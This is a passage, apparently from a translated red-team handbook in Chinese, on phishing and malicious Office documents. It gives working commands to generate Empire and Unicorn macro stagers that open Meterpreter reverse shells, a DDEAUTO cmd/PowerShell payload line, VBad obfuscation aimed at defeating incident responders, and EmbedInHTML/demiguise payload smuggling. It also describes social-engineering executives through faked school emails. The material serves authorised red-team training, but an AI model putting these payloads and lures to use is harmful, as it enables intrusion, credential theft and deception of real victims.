网络钓鱼

另一个红队已经用之取得了巨大成功的技术是传统的网络钓鱼。网络钓鱼的秘诀在于激发受害者的恐惧感或者紧迫感,有时也会向受害者描绘一些非常美好(甚至不太真实)的诱惑。我相信你以前肯定见过一些恐惧感和紧迫感确发挥巨大威力的情境。利用受害者恐惧和紧迫心理进行攻击的一些例子包括:

  • 一封带有欺诈性购买的虚假电子邮件
  • 有人黑进了你的电子邮件消息
  • 有关税务欺诈的电子邮件

这些一般性攻击的问题是,我们已经注意到公司员工变得越来越聪明。通常,每10封基本钓鱼式攻击邮件中至少有1封会被上报。在某些情况下,比例甚至更高。这些情况对于一个红队来说是很有价值的,红队可以持续监控这些简单的网络钓鱼攻击,看看公司在对这些情况的响应方面是不是有所进步。

对于那些寻求自动化钓鱼攻击的人,我高度推荐 Gophish。Gophish 非常易于设置和维护,并且支持模板和 HTML,另外它还会跟踪和记录你所需的一切。如果你是 Ruby 的粉丝的话,Phishing Frenzy就是一个使用 Ruby 语言写的很好的工具。当然,少不了的也有用 python 语言写的工具,King Phisher 就是使用 Python 开发的。

这些自动化工具非常适合记录简单的网络钓鱼活动。但是对于我们的目标活动,我们得采用更加手工化的方法。例如,如果我们对受害者的邮件记录进行了一些侦察,了解到客户使用 Office365 ,那么我们就可以思考一下如何利用这个信息来策划一场具有高可行度的入侵行动。此外,我们还试图寻找该公司泄露信息的电子邮件,从中来捕捉任何其他可能有帮助的信息,包括他们可能正在运行的程序、新的特性、系统升级、代码合并等等。

我们有时还会开展更具针对性的行动。在这些行动中,我们尝试使用所有的开源工具来搜索有关人员及其财产、家庭等的信息。例如,针对一些公司高管,我们会在 pipl.com 上搜索他们,获取他们的社交媒体帐号,找出他们的孩子上学的地方。然后我们向他们发送一封欺骗性电子邮件,假装是学校发的,说他们需要打开这个 word 文档。要做完这一系列事情可能要花费很长时间,但好处在于成功率很高。

Microsoft Word/Excel 宏文件

虽然是很老旧,但向受害者发送恶意的 Microsoft Office 文件仍然是久经考验的一种社会工程学攻击方法。那为什么 Office 文件非常适合作为恶意 payload 的载体呢?这是因为 Office 文件的默认设置是支持 VBA 代码所以允许 VBA 代码的代码执行。尽管最近这种方法已经很容易被杀毒软件检测到,但在经过混淆处理之后,在很多情况下仍然可以生效。

在最基础的水平上,我们可以使用 Empire 或 Unicorn 来创建一个 VBA 宏:

  • 使用 Empire:
    • 选择 Macro Stager
      • usestager windows/macro
    • 确保进行正确的配置
      • info
    • 创建宏
      • generate
  • 如果你想为 Meterpreter 创建一个 payload ,我们可以使用像 Unicorn 这样的工具:
    • cd /opt/unicorn
    • ./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro
    • 启动一个 Metasploit Handler
      • msfconsole -r ./unicorn.rc

一旦生成成功,你的 payload 将如下所示:

网络钓鱼 - 图1

如你所见,这是运行一个简单的 PowerShell base64 混淆脚本。这可以帮助解决绕过一些杀毒软件,但重要的是要确保在进行实时入侵操作之前对其进行测试。生成宏后,你可以快速创建一个 Excel 文档:

  • 打开 Excel
  • 转到视图选项卡(View Tab) - >宏 - >查看宏
  • 添加一个宏名称,为 book1 配置宏,然后单击 “创建”

网络钓鱼 - 图2

  • 用生成的代码替换所有当前的宏代码
  • 另存为 .xls(Word 97-2003)或 Excel Macro-Enabled 格式的文件

网络钓鱼 - 图3

现在,每当有人打开你的文档时,他们都会收到安全警告并看到一个启用内容的按钮。 如果你可以诱导受害者点击“启用内容”的按钮,那么你的 PowerShell 脚本将会被执行,这会弹给你一个 Empire Shell 。

网络钓鱼 - 图4

如前所述,宏文件方法是一种久经考验的旧方法,因此很多受害者已经对这种攻击有了一定的认识。利用 Office 文件的另一种思路是将我们的 payload 嵌入一个批处理文件(.bat)。但在较新版本的 Office 中,如果受害者双击 Word 文档中的 .bat 文件,对象则不会被执行。我们通常不得不试图诱导受害者使其将 .bat 文件移动到桌面并执行。

网络钓鱼 - 图5

我们可以用 LuckyStrike 来以更自动化的方式完成此操作。通过使用 LuckyStrike,我们可以在工作表中使用 Payload 创建 Excel 文档,甚至可以在 Excel 文档中存储完整的可执行文件(exe),这些文件可以用 ReflectivePE 来触发从而在内存中运行。阅读更多关于 LuckyStrike 的内容:

我想提到的用于 Office 文件执行的最后一个工具是 VBad。运行 VBad 时,必须在 Office 中启用宏,并在宏安全设置的下拉框中选择 “信任对 VBA 项目对象模型的访问” 选项。这会允许 VBad 运行 python 代码来更改并创建宏。

VBad 会严重混淆 MS Office 文档中的 payload。它还增加了加密功能,用假密钥来迷惑应急响应团队。最重要的是,它可以在第一次成功运行后销毁加密密钥(VBad 是一个一次性使用的恶意软件)。另一个特性是 VBad 也可以销毁对包含有效 payload 的模块的引用,以使其从 VBA 开发者工具中不可见。这使得分析和排除故障变得更加困难。因此,不仅很难去逆向,而且如果应急响应团队尝试分析执行的 Word 文档与原始文档,则所有密钥都将丢失。

网络钓鱼 - 图6

非宏的 Office 文件 —— DDE

有时候红队攻击也是一场与时间赛跑的游戏,虽然有些可以利用的易受攻击模块效果很好,但是如果时间久了,一些杀毒软件或者安全软件已经包含了检测的策略,那么也很难利用,所以有时候一些新发现的漏洞是更好利用的。在我们的一次评估中,首次公布了一个名为 DDE 的全新易受攻击模块。杀毒软件或任何安全产品还尚未检测到它,因此这是获得我们初始入口点的好方法。 虽然现在有几种安全产品可以检测 DDE ,但在某些环境中它仍然可能是一种可行的攻击。

什么是 DDE?
“ Windows 提供了几种在不同的应用程序之间传输数据的方法。其中一种方法就是使用动态数据交换(DDE)协议。DDE 协议是一组消息和指南。它在共享数据的应用程序之间发送消息,并使用共享内存在应用程序之间交换数据。应用程序可以使用 DDE 协议进行一次性数据传输。并且应用程序也可以利用 DDE 协议来进行持续的数据交换,当新数据可用时候,应用程序可以通过持续的数据交换来彼此发送更新。”
[ https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx ]

Sensepost 的团队做了一些很棒的研究,发现 MSExcel 和 MSWord 都暴露了 DDEExecute,并且可以在不使用宏的情况下创建代码执行。

在 Word 中:

  • 转到“插入”选项卡 -> “快速部件” -> “字段”
  • 选择 = 公式
  • 右键单击:!Unexpected End of Formula 并选择 Toggle Field Codes
  • 将 payload 替换为你的 payload:
    1. DDEAUTO c:\windows\system32\cmd.exe “/k powershell.exe [empire payload here]”

网络钓鱼 - 图7

Empire 有一个 stager ,可以自动创建 Word 文件和关联的 PowerShell 脚本。 此 stager 可以通过以下方式配置:

  • usestager windows/macroless_msword

网络钓鱼 - 图8

资源:

除了 0day 漏洞利用(例如 https://github.com/bhdresh/CVE-2017-0199 )之外,Word 文档中是否还有其他任何能利用的特性呢? 答案是肯定的。虽然我们不会在本书中介绍它。其中一个例子是 subdoc attacks。这些攻击导致受害者向网络上的攻击服务器发出 SMB 请求,以便收集 NTLM Auth Hash(NTLM 验证哈希)。 这种攻击并不是在所有场景里百分百生效,因为大多数公司现在阻止 SMB 相关端口连接外网。对于那些还未进行此种配置的公司,我们可以使用 subdoc_inector 攻击来利用这种错误配置。

隐藏的加密 payload

作为红队队员,我们一直在寻求使用创造性的方法来构建我们的登陆页面,加密我们的 payload,并诱导用户点击运行。具有类似过程的两个不同工具是 EmbededInHTML 和 demiguise。

第一个工具 EmbededInHTM,该工具的描述是“ 获取文件(任何类型的文件),加密它,并将其作为资源嵌入到 HTML 文件中,还包含模拟用户点击嵌入资源之后的自动下载进程。然后,当用户浏览 HTML 文件时,嵌入式文件即时解密,保存在临时文件夹中,然后将文件展示给用户。这一系列过程会让用户感觉该文件像是从远程站点下载来的。基于用户的浏览器和显示的文件类型,浏览器可以自动打开文件。”

  • cd /op/EmbedInHTML
  • python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w

网络钓鱼 - 图9

一旦受害者访问恶意站点,弹出的窗口会提示受害者在 Excel 中打开我们的.xll文件。不幸的是,对于最新版本的 Excel(除非配置错误),用户需要启用加载项来执行我们的 payload 。这就需要使用你在前面学到的社会工程学技巧了。

第二个工具是 demiguise,描述是“ 生成包含一个加密的 HTA 文件的 .html 文件。该工具的思路是,当你的目标访问该页面时,将获取其密钥并在浏览器中动态解密 HTA 然后将其直接推送给用户。这是一种隐匿技术,可以绕过由某些安全设备进行的的内容/文件类型的检查。但是此工具并不是为了创建优秀的 HTA 内容而设计的。在 HTA 内容方面还有其他工具/技术可以帮助你。demiguis 希望帮助用户的是:首先让你的 HTA 进入一个环境,并且(如果你使用环境键控)避免它被沙盒化。

  • python demiguise.py -k hello -c “cmd.exe /c ” -p Outlook.Application -o test.hta